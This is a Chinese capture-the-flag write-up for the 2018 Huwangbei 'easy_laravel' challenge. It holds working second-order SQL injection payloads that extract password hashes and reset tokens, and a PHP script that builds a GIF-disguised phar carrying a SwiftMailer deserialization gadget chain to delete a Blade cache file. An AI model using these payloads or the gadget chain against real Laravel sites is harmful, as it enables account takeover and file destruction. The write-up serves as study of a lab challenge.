[护网杯 2018]easy_laravel
考点:二次注入、blade模板缓存、phar
源码在这:
https://github.com/CTFTraining/huwangbei_2018_easy_laravel
结构如下:
这里给了一个composer.json,需要composer install下载其他组件,但是我这里一直装不上,换源也没用,只能看wp的源码了(云做题)
首先在route/web.php中定义了路由:
然后去看controller的时候会发现除了note,其他都需要admin权限:
例如app/http/controllers/flagcontroller
那么思路就是先成为admin,从app/http/controllers/notecontroller入手
看到这里对username有一个查询,容易联想到二次注入,并且registercontroller除了长度限制了其他没有过滤:
app/http/controllers/auth/registercontroller
看一下users表结构:
如注册一个:
admin' union select 1,(select password from users limit 0,1),3,4,5 and '1
但是这个密码是被bcrypt加密的:
所以得找其他方法,注意到还有其他表结构:
有一个reset,看看:
resetpassword的路由为:/password/reset/{token}
所以我们只要直到email和token即可,email这里是固定的:
token可以在password_resets表中注出来:
admin' union select 1,(select token from password_resets where email='[email protected]'),3,4,5 and '1
这里不知道什么原因,不能用group_concat或limit,只能指定email才能注出token
拿到token改密码,成为admin,但是访问flag路由居然显示是no flag
这与php文件不符
问题就处在这个view上,laravel默认用的是blade模板引擎:
Blade 是 Laravel 提供的一个简单而又强大的模板引擎。和其他流行的 PHP 模板引擎不同,Blade 并不限制你在视图中使用原生 PHP 代码。所有 Blade 视图文件都将被编译成原生的 PHP 代码并缓存起来,除非它被修改,否则不会重新编译,这就意味着 Blade 基本上不会给你的应用增加任何负担。Blade 视图文件使用 .blade.php 作为文件扩展名,被存放在 resources/views 目录。缓存文件放在storage/framework/views下
我的理解是laravel使用blade模板引擎,首先将php传过来的参数渲染到视图,然后视图又编译成php代码的缓存文件存到相应路径下,以便使用
那么很有可能是旧的缓存文件依然存在,使模板渲染时被覆盖,那么就需要尝试删除这个缓存文件
我们还有uploadcontroller没用:
这里的上传的所有文件都会被写到$this->path目录下,也就是app/public,我们无法访问
所以webshell是不可能的了,但是check这里有一个file_exists,并且两个参数都可控,可以用phar://
下面是一些可以用phar://的函数(来源于seebug)
然后就是找利用链了,没源码我直接截wp的图了:
这里有unlink,不过要知道缓存文件的路径:
这个path就是视图文件的路径,为:
/var/www/html/resources/views/auth/flag.blade.php
sha1加密得到完整的缓存文件路径:
/var/www/html/storage/framework/views/73eb5933be1eb2293500f4a74b45284fd453f0bb.php
exp:
<?php
class Swift_ByteStream_AbstractFilterableInputStream {}
class Swift_ByteStream_FileByteStream extends Swift_ByteStream_AbstractFilterableInputStream {
private $_path;
public function __construct($path, $writable = false)
{
$this->_path = $path;
$this->_mode = $writable ? 'w+b' : 'rb';
if (function_exists('get_magic_quotes_runtime') && @get_magic_quotes_runtime() == 1) {
$this->_quotes = true;
}
}
public function getPath()
{
return $this->_path;
}
}
class Swift_ByteStream_TemporaryFileByteStream extends Swift_ByteStream_FileByteStream {
public function __construct() {
$filePath = "/var/www/html/storage/framework/views/73eb5933be1eb2293500f4a74b45284fd453f0bb.php";
parent::__construct($filePath, true);
}
public function __destruct() {
if (file_exists($this->getPath())) {
@unlink($this->getPath());
}
}
}
$obj = new Swift_ByteStream_TemporaryFileByteStream();
$p = new Phar('phar.phar', 0);
$p->startBuffering();
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$p->setMetadata($obj);
$p->addFromString('1.txt','text');
$p->stopBuffering();
rename('phar.phar', '233.jpg');
?>
在files页面check触发调用链:
加上路径:path=phar:///var/www/html/storage/app/public